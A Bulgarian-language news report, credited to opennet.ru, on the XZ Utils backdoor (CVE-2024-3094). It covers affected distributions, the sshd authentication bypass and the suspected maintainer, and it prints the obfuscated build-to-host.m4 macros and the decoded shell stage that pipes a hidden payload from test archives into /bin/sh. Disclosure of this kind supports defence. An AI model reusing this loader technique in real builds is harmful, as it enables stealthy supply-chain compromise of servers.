В пакета XZ Utils, включващ библиотеката liblzma и утилити за работа с компресирани данни в формат «.xz», е открит бекдор (CVE-2024-3094), който позволява прихващане и модифициране на данни, обработвани от приложения, свързани с библиотеката liblzma. Основната цел на бекдора е сървърът OpenSSH, който в някои дистрибуции е свързан с библиотеката libsystemd, която от своя страна използва liblzma. Свързването на sshd с уязвимата библиотека позволява на злоумышленниците да получат достъп до SSH-сървъра без удостоверяване.
Бекдорът е присъствал в официалните версии 5.6.0 и 5.6.1, публикувани на 24 февруари и 9 март, които успели да влязат в състава на някои дистрибуции и репозитории, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current и Manjaro testing. Препоръчва се на всички потребители на версиите xz 5.6.0 и 5.6.1 спешно да се върнат на версия 5.4.6.
Сред облекчаващите факти е, че версията на liblzma с бекдора не е успяла да влезе в състава на стабилните версии на големите дистрибуции, но е засегнала openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo са използвали уязвимата версия на zx, но не са подложени на атака, тъй като не прилагат патч за openssh, който поддържа systemd-notify, довеждащ до свързването на sshd с liblzma. Бекдорът засяга само системи x86_64 на базата на ядрото Linux и C-библиотеката Glibc.
Кодът за активиране на бекдора е скрит в m4-макроси от файла build-to-host.m4, използван от инструмента automake при компилирането. По време на компилацията, в резултат на заплутани обфусцирани операции, базирани на архиви (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), използвани за тестване на правилността на работата, се генерира обектен файл с злонамерен код, който е включен в библиотеката liblzma и променя логиката на работа на някои от нейните функции. Активиращите бекдора m4-макроси са част от tar-архивите на релизите, но отсъстват от Git-репозитория. Злонамерените тестови архиви обаче присъстват в репозитория, т.е. лицето, внедрило бекдора, е имало достъп както до репозитория, така и до процесите по форматирането на релизите.
При използването на liblzma в приложения, злонамерени промени биха могли да се използват за прихващане или модифициране на данни, а също така да влияят на работата на sshd. По-специално, злонамереният код подменяше функцията RSA_public_decrypt, за да заобиколи процеса на удостоверяване в sshd. Задната врата включваше защита от откритие и не се проявяваше при зададени променливи на средата LANG и TERM (т.е. при стартиране на процес в терминал) и при незадани променливи на средата LD_DEBUG и LD_PROFILE, а също така се активираше само при изпълнение на изпълним файл /usr/sbin/sshd. В задната врата имаше и средства за откритие на стартиране в отладъчни среди.
По-конкретно, в файла m4/build-to-host.m4 бяха използвани конструкции gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
В първата конструкция операцията grep намираше файла tests/files/bad-3-corrupt_lzma2.xz, при разопаковането на който се формираше сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..../../config.status;then eval `grep ^srcdir= ..../../config.status` srcdir=”..../../$srcdir” fi export i=”((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Как злоумышленникам е успяха да получат достъп до инфраструктурата на проекта xz, все още не е изяснено. Също така все още не е ясно колко потребители и проекти са били компрометирани в резултат на действието на бекдора. Предполагаемият автор на бекдора (JiaT75 — Jia Tan), който е публикувал архиви с злонамерен код в хранилището, е комуникирал с разработчиците на Fedora и е изпращал pull-заявки в Debian, свързани с преминаването на дистрибутивите към версия xz 5.6.0, и не е предизвикал подозрение, тъй като е участвал в разработката на xz през последните две години и е вторият разработчик по брой направени промени. Освен проекта xz, предполагаемият автор на бекдора е участвал и в разработката на пакетите xz-java и xz-embedded. Освен това, Jia Tan преди няколко дни беше включен в групата мейнтейнери на проекта XZ Embedded, който се използва в ядрото на Linux.
Злонамерената промяна беше установена след анализа на прекомерното потребление на CPU и грешките, генерирани от valgrind, при свързване чрез ssh с системи, базирани на Debian sid. Забележително е, че в изданието xz 5.6.1 бяха включени промените, подготвени от предполагаемия автор на бекдора в отговор на оплаквания за забавяне на работата и сривове на sshd, възникнали след обновлението до версия zx 5.6.0 с бекдор. Освен това, миналата година Jia Tan е направил промени, несъвместими с режима за проверка „-fsanitize=address“, което е довело до отключване на режима при тестове с fuzzing.
Източник: opennet.ru
